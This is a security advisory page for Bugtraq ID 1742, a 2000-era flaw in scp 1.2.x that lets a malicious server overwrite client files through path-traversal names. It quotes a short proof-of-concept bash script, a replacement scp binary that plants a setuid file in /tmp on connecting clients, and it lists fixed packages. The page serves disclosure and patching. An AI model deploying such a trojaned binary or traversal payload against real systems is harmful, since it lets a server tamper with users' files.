scp File Create/Overwrite Vulnerability

BID:1742

Info

scp File Create/Overwrite Vulnerability

Bugtraq ID: 1742
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Sep 30 2000 12:00AM
Updated: Sep 30 2000 12:00AM
Credit: This vulnerability was reported to bugtraq by Michal Zalewski <[email protected]> on Sat, 30 Sep 2000.
Vulnerable: OpenBSD OpenSSH 1.2.3
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
OpenBSD OpenSSH 1.2
Helsinki University of Technology ssh 1.2.27
Helsinki University of Technology ssh 1.2.26
Helsinki University of Technology ssh 1.2.25
Helsinki University of Technology ssh 1.2.24
Helsinki University of Technology ssh 1.2.23
Helsinki University of Technology ssh 1.2.22
Helsinki University of Technology ssh 1.2.21
Helsinki University of Technology ssh 1.2.20
Helsinki University of Technology ssh 1.2.19
Helsinki University of Technology ssh 1.2.18
Helsinki University of Technology ssh 1.2.17
Helsinki University of Technology ssh 1.2.16
Helsinki University of Technology ssh 1.2.15
Helsinki University of Technology ssh 1.2.14
Not Vulnerable: OpenBSD OpenSSH 2.1.1
OpenBSD OpenSSH 2.1
Helsinki University of Technology ssh 2.1
Helsinki University of Technology ssh 2.0

Discussion

scp File Create/Overwrite Vulnerability

A vulnerability exists in the 1.2.x releases of scp which, if properly exploited using a modified scp binary on the server end, can permit the remote server to spoof local pathnames and overwrite files belonging to the local user.

For example, following the command

scp user@remotehost:/somefile /home/user/newfile

the modified server on the remote machine maliciously sends the filename as ../../etc/passwd

the local user's scp program will then write the data to

/home/user/../../etc/passwd

(which is the same as /etc/passwd)

Note that the target file can only be overwritten if the local user has write access to it. As a result, it remains inadvisable to run scp as root.

This vulnerability applies to 1.2.x versions of ssh on the remote machine, irrespective of the version running as the client.

ssh-2.x on the remote employs a different protocol and as a result is reportedly not vulnerable to this bug.

Exploit / POC

scp File Create/Overwrite Vulnerability

Excerpted from original bugtraq posting by Michal Zalewski <[email protected]>
---
As a proof of concept, I created trivial scp replacement (put it on remote machine in the place of original scp binary - usually in /usr/local/bin).

It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy file on client system:

#!/bin/bash

echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null
---

Solution / Fix

scp File Create/Overwrite Vulnerability

Solution:
Linux-Mandrake 7.0:

305e0198128f0ff9c1c9292ec09b4dcc 7.0/RPMS/openssh-2.1.1p3-4mdk.i586.rpm
b9926356f70c27be00d2b50c96b11bd0 7.0/RPMS/openssh-askpass-2.1.1p3-4mdk.i58=
6.rpm
c4264c9b9ab857ddd4555c05096e4697 7.0/RPMS/openssh-clients-2.1.1p3-4mdk.i58=
6.rpm
21f1d76dc514f6e59c6023affc80dc54 7.0/RPMS/openssh-server-2.1.1p3-4mdk.i586=
.rpm
a3dd007c212763d4ece19b50e013edd0 7.0/RPMS/openssl-0.9.5a-3mdk.i586.rpm
b8d23e53945a0c53525701c0ed298d01 7.0/RPMS/openssl-devel-0.9.5a-3mdk.i586.r=
pm
a6b82e7d0e991b0d169fa00a5aeb8774 7.0/SRPMS/openssh-2.1.1p3-4mdk.src.rpm

Linux-Mandrake 7.1:
859074e6bea599faf97ead477a8e97fe 7.1/RPMS/openssh-2.1.1p3-4mdk.i586.rpm
5df518f2b4cb308fee7b78b127972733 7.1/RPMS/openssh-askpass-2.1.1p3-4mdk.i58=
6.rpm
a00ae71dadecbde77ccd9b4d0d0b818a 7.1/RPMS/openssh-clients-2.1.1p3-4mdk.i58=
6.rpm
8abf7df4ed56bcbb517ebe9b549d2df7 7.1/RPMS/openssh-server-2.1.1p3-4mdk.i586=
.rpm
a6b82e7d0e991b0d169fa00a5aeb8774 7.1/SRPMS/openssh-2.1.1p3-4mdk.src.rpm

References

scp File Create/Overwrite Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report